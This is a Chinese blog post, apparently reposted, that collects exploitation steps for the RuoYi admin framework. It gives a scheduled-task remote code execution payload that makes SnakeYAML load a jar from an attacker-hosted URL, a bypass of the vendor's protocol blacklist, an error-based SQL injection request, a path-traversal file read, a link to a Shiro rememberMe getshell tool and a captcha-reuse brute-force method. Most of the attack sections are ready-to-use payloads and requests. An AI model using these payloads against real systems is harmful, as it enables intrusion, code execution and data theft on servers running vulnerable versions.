若依系统前后台漏洞大全
Posted LeYuuuuuuu
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了若依系统前后台漏洞大全相关的知识,希望对你有一定的参考价值。
0.若依项目搭建
0.1修改/获取项目启动端口
0.2创建数据库
启动mysql服务,并创建数据库 ry
之后在将这两个SQL文件导入到ry数据库中
0.2修改连接数据库的用户名和密码
接着修改连接数据库的用户名和密码
然后用idea启动即可
1.后台-定时任务-RCE
1.1漏洞简介RuoYi<4.6.2
漏洞影响范围RuoYi<4.6.2
简要描述:由于若依后台计划任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
1.2漏洞利用步骤
这个跟springboot的Actuator配置不当引起的rce很类似
也是让其远程加载一个yml文件.
接下来具体操作一下…
下载payload
https://github.com/artsploit/yaml-payload
下载完成之后我们修改一下 AwesomeScriptEngineFactory.java 这个文件
(mspaint为打开画图板)
我们切换目录
编写yaml-payload.yml文件(没有的话,自己创建即可)
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
然后在该目录下打开powershell 或 命令提示框
然后输入命令
javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件
jar -cvf yaml-payload.jar -C src/ . //打包成jar包
然后就会生成一个 yaml-payload.jar的jar包
注意第二个命令 yam-payload.jar的jar包要与 yaml-payload.yml访问的jar包名称一一对应
至此,我们的payload已经修改完成了
这里有,java1.8编写好的paylaod
链接:https://pan.baidu.com/s/1EibFBVz4PfT7dSKyz6q_Ew
提取码:9999
okk,这里咱们直接用python开启一个简单的http服务
我们进入若依 的后台页面之后添加一个定时任务
然后添加payload
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://攻击机ip/yaml-payload.jar"]]]]')
(不止这一种方法,我们现在用的是snakeyaml方式,这个我比较熟
另外两种方式,好像有
)
然后添加cron表达式:
0/10 * * * * ?
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间
配置好之后,并不会启动定时任务
(尽量使用"执行一次"检验)
执行之后,即可执行命令 mspaint(弹出画图板)
1.3版本4.6.2<=Ruoyi<4.7.2
这个版本采用了黑名单限制调用字符串
- 定时任务屏蔽ldap远程调用
- 定时任务屏蔽http(s)远程调用
- 定时任务屏蔽rmi远程调用
Bypass
咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式
例如:
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“h’t’t’p’://127.0.0.1:88/yaml-payload.jar”]]]]’)
加引号
2.后台-SQL注入 Ruoyi<4.6.2
我们访问下图所示的菜单
然后刷新,拦截,改包
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
User-Age
nt: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 181
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/system/role
Cookie: UMK8_2132_ulastactivity=fdf6lh5P4KaIR7rPwncVmGmx5z2ymLLNz3o33msgkFJlQ1SdH%2FhR; UMK8_2132_lastcheckfeed=1%7C1637287051; UMK8_2132_nofavfid=1; JSESSIONID=d9eca4a4-7fcd-41ba-9888-75e7c73dc9bf
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
(即可触发报错注入,获取数据库名称)
3.后台-任意文件读取 Ruoyi<4.5.1
GET /common/download/resource?resource=/profile/../../../../../../../.txt HTTP/1.1
(我在D盘的根目录创建一个.txt文件,其内容为"这是D盘")
4.前台-shiro-RCE
shiro是若依的其中一个组件,咱们使用shiro的经典rememberMe漏洞来getshell
下面使用工具
(这个工具挺好用,还能冰蝎/蚁剑之类的吗,从而getshell)
工具-链接:https://pan.baidu.com/s/1vLaOQONJvO2Yeb5psnswqw
提取码:9999
(这个工具挺好用,还能冰蝎/蚁剑之类的吗,从而getshell)
工具-链接:https://pan.baidu.com/s/1vLaOQONJvO2Yeb5psnswqw
提取码:9999
若依框架的暴力破解漏洞
文章目录
漏洞描述
由于图片验证码未做好前后台的统一校验
,可重复利用验证码,以及无登录错误次数限制等,导致攻击者可对账号与密码进行的穷举测试,从而获取网站登录访问权限
漏洞复现
第一步 抓包获取登录数据包,默认口令Admin123
第二步 发送到Intrude模块
注意:此时原始数据包直接drop,或者一直卡包,
第三步 查看返回结果
发现图片验证码是生效的,一直在校验用户名和密码等信息
接口没有做校验,导致的图片验证码可以重复利用
只是前端做了验证码校验,后台没有做校验,到时可以直接利用
正确逻辑:只要提交一次,服务器就失效,自动更新验证码,不能让重复利用
以上是关于若依系统前后台漏洞大全的主要内容,如果未能解决你的问题,请参考以下文章